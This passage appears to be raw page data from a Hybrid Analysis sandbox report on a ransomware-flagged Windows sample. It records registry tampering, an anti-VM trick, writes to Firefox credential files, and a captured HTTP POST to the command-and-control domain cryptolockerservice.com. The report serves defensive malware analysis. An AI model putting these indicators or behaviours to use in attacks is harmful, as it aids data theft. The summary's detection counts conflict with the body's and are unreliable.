7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: cryptolockerservice.com\nContent-Length: 1976\nCache-Control: no-cache\n\n\"w\" (Source: network.pcap, Indicator: \"cryptolocker\")","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 1526 files (often an indicator for ransomware)","origin":"Binary File","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCloseKey\n GetUserNameA\n RegCreateKeyExA\n RegOpenKeyExA\n GetFileAttributesA\n GetDriveTypeA\n GetFileAttributesW\n WriteFile\n OutputDebugStringW\n OutputDebugStringA\n DeviceIoControl\n CopyFileW\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n CreateDirectoryExW\n UnhandledExceptionFilter\n CreateThread\n ExitThread\n TerminateProcess\n CreateToolhelp32Snapshot\n Process32First\n LoadLibraryW\n GetTickCount\n LoadLibraryA\n Process32Next\n OpenProcess\n GetStartupInfoW\n CreateDirectoryW\n DeleteFileW\n FindNextFileW\n GetComputerNameA\n FindFirstFileW\n GetProcAddress\n CreateFileW\n CreateFileA\n GetCommandLineA\n GetModuleHandleA\n GetModuleHandleW\n GetFileAttributesExW\n Sleep\n HttpSendRequestA\n InternetCloseHandle\n InternetOpenA\n InternetConnectA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$27","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Modifies file/console tracing settings (often used to hide footprints on system)","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLEFILETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLECONSOLETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"FILETRACINGMASK\"; Value: \"0000FFFF\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"CONSOLETRACINGMASK\"; Value: \"0000FFFF\")","origin":"Registry Access","relevance":5,"id":"registry-30","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"malicious","category":"Environment Awareness","name":"The input sample contains a known anti-VM trick","description":"Found VM detection artifact \"CPUID trick\" in \"dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec.exe.bin\" (Offset: 1663821)","origin":"Binary File","relevance":5,"id":"binary-8","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"29/64 Antivirus vendors marked sample as malicious (45% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"29/64 Antivirus vendors marked sample as malicious (45% detection rate)\n 9/33 Antivirus vendors marked sample as malicious (27% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]}],"incidents":[{"name":"Ransomware","details_count":1,"details":[{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":30,"imported_dlls_count":67,"dropped_files_count":0,"extracted_files_count":34,"files_written_count":26,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["ransomware"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"59b006a77ca3e169631bd623","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["PAN"],"submit_name":"dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec.bin","analysis_start_time":"2017-09-06T15:30:18+00:00","indicators_count":{"informative":11,"suspicious":17,"malicious":5},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":[{"domain":"cryptolockerservice.com","address":"190.97.165.99","country":"Panama","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_creation_date":"2017-03-10T14:46:10+00:00","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]}],"http_requests":[{"host":"cryptolockerservice.com","host_ip":"190.97.165.99:80","url":"/keke.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /keke.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: cryptolockerservice.com\nContent-Length: 1976\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}],"processes":[{"pid":3360,"ppid":0,"name":"dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec.exe","command_line":"","sha256":"dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec","normalized_path":"C:\\dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec.exe","uid":"00014472-00003360","icon":"$28"}],"all_imported_dlls":["nssdbm3.dll","comctl32.dll","rasadhlp.dll","msvcrt.dll","sechost.dll","wsock32.dll","netprofm.dll","msvcr100.dll","RpcRtRemote.dll","crypt32.dll","IPHLPAPI.DLL","ws2_32.dll","rsaenh.dll","clbcatq.dll","advapi32.dll","wininet.dll","iertutil.dll","softokn3.dll","nlaapi.dll","KernelBase.dll","gdi32.dll","sspicli.dll","mozglue.dll","msvcp100.dll","ntmarta.dll","lpk.dll","msctf.dll","rasapi32.dll","mswsock.dll","FWPUCLNT.DLL","kernel32.dll","msasn1.dll","WSHTCPIP.DLL","uxtheme.dll","usp10.dll","winnsi.dll","NapiNSP.dll","pnrpnsp.dll","msxml3r.dll","ole32.dll","imm32.dll","dnsapi.dll","rpcrt4.dll","dhcpcsvc.dll","dhcpcsvc6.dll","oleaut32.dll","nsi.dll","cryptsp.dll","Wldap32.dll","msxml3.dll","nss3.dll","rasman.dll","rtutils.dll","winrnr.dll","ntdll.dll","user32.dll","shell32.dll","shlwapi.dll","freebl3.dll","profapi.dll","wship6.dll","version.dll","urlmon.dll","winmm.dll","cryptbase.dll","SensApi.dll","npmproxy.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"4Pmmh3HlYKPz20b.doc","sha256":"8df0182d26293d77303957798220be293f3a3cdb800d7a1e67f38afd7340ac8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"FksnKO3nPLqbqw.doc","sha256":"8df0182d26293d77303957798220be293f3a3cdb800d7a1e67f38afd7340ac8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"3Fbc.doc","sha256":"8df0182d26293d77303957798220be293f3a3cdb800d7a1e67f38afd7340ac8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"126[1].xml","sha256":"bafcdce63775dc307f9ccedfe037ce3425d3cfc8f55bf14d596b34da2afaec59","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"2ch[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"a.farlex[1].xml","sha256":"96dc9ff918e486f17691f7b1cb11fa501f94da8156179bbd724d9cf0bf65c866","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"adserver[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"allrecipes[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"ca[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"de.surveymonkey[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"domaintools[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"g.58[1].xml","sha256":"7449a164f8b5ad3ea0833e30651a69e51d1424d604cb9c0f2a07f0a638cc3dcd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"ground.citi[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"imageshack[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"imagesrv.adition[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"is.alicdn[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"mashable[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"photobucket[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"pos.baidu[1].xml","sha256":"17ff5679a3d2ca0d25612f5bc44846bda8592e393021873ad4bdfe8deeb019ad","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"rtzow[1].xml","sha256":"97d34c93e7465f8275abceccc37a6a25891dc5acf34196ffa4da7a553f1f478c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"s.dynad[1].xml","sha256":"a3aff65aa8649fa8f3423307023ccc44e8901c798c3ceb8402f0be52bafdd3b6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"sb.monetate[1].xml","sha256":"93e4358e253dad31b4d74631f7f016dfc07f072730f20b3817a133ff0c04e2ee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"tie.app.247-inc[1].xml","sha256":"71154bd78a4a5433b3df88e36a5509bf282d9fad9e4d4ca8e67908d19c27125e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"dH1rDN9f9.doc","sha256":"019c76dd93c1d7a6f1e22759b92687a11a3cfd403b59ce292800e4029d3923bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"6SZfLTu9z.doc","sha256":"b95725903584feab7b81f7ecc0934e4b22ff1eda01850e90f9aed09545b07954","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"C04T72pR0Bcl.doc","sha256":"7b4eafe94869067e406c78c1be5281794379a9bcde165689839692d18d19f1ac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"2Gd1Iqvl2kr.doc","sha256":"8df0182d26293d77303957798220be293f3a3cdb800d7a1e67f38afd7340ac8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"bg3oTe.doc","sha256":"8616f12f8c25e259b084cd31ab24397ec5d7712664391db478d54e4a1925fb87","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"0zIG0D.doc","sha256":"965353847ae4e11b7d2c45fba9a8738a7226911c9e4e253945a9b177b0b864ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"F3hzum1.doc","sha256":"ffe1c36daa1975e14f9ae35cc39b5e5960864db453475d8a8179d05cab09645b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"hKY8.doc","sha256":"9401ce0901c0bf49a6608a25a90795daa49c47588c02baafbfb5679d64bf10e3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"5F1yaAIKfUGQcmmt.doc","sha256":"2b9230e551e4e261f42f91cf17a042adb8e78c1b87dc16b749b4304d7d83495f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"0gakl8ixtWMkw.doc","sha256":"e241e5e55a2bea96dc9e4270b6c4db9393a3a28b1fc6245319567bdefe05ea11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"EKeaJO.doc","sha256":"820290ea96222dfa2ca69ea274521fb89bd714813cfd587f17f031738b68e88f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]}],"files_written":[{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%WINDIR%\\system32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%WINDIR%\\system32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\secmod.db","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\cert8.db","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\key3.db","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\logins.json","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%LOCALAPPDATA%\\Application Data","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"path":"%LOCALAPPDATA%\\History","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\APOLLO\\","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\c:!users!hosiqz2!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\c:!users!hosiqz2!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\c:!users!hosiqz2!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"Local\\c:!users!hosiqz2!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!hosiqz2!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!hosiqz2!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!hosiqz2!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!hosiqz2!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]}]}},"report_ids":{"sandbox_job_ids":["59b006a77ca3e169631bd623"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample dda8736f55cc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample dda8736f55cc…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample dda8736f55cc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample dda8736f55cc…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample dda8736f55cc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample dda8736f55cc…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L29","11",{}]]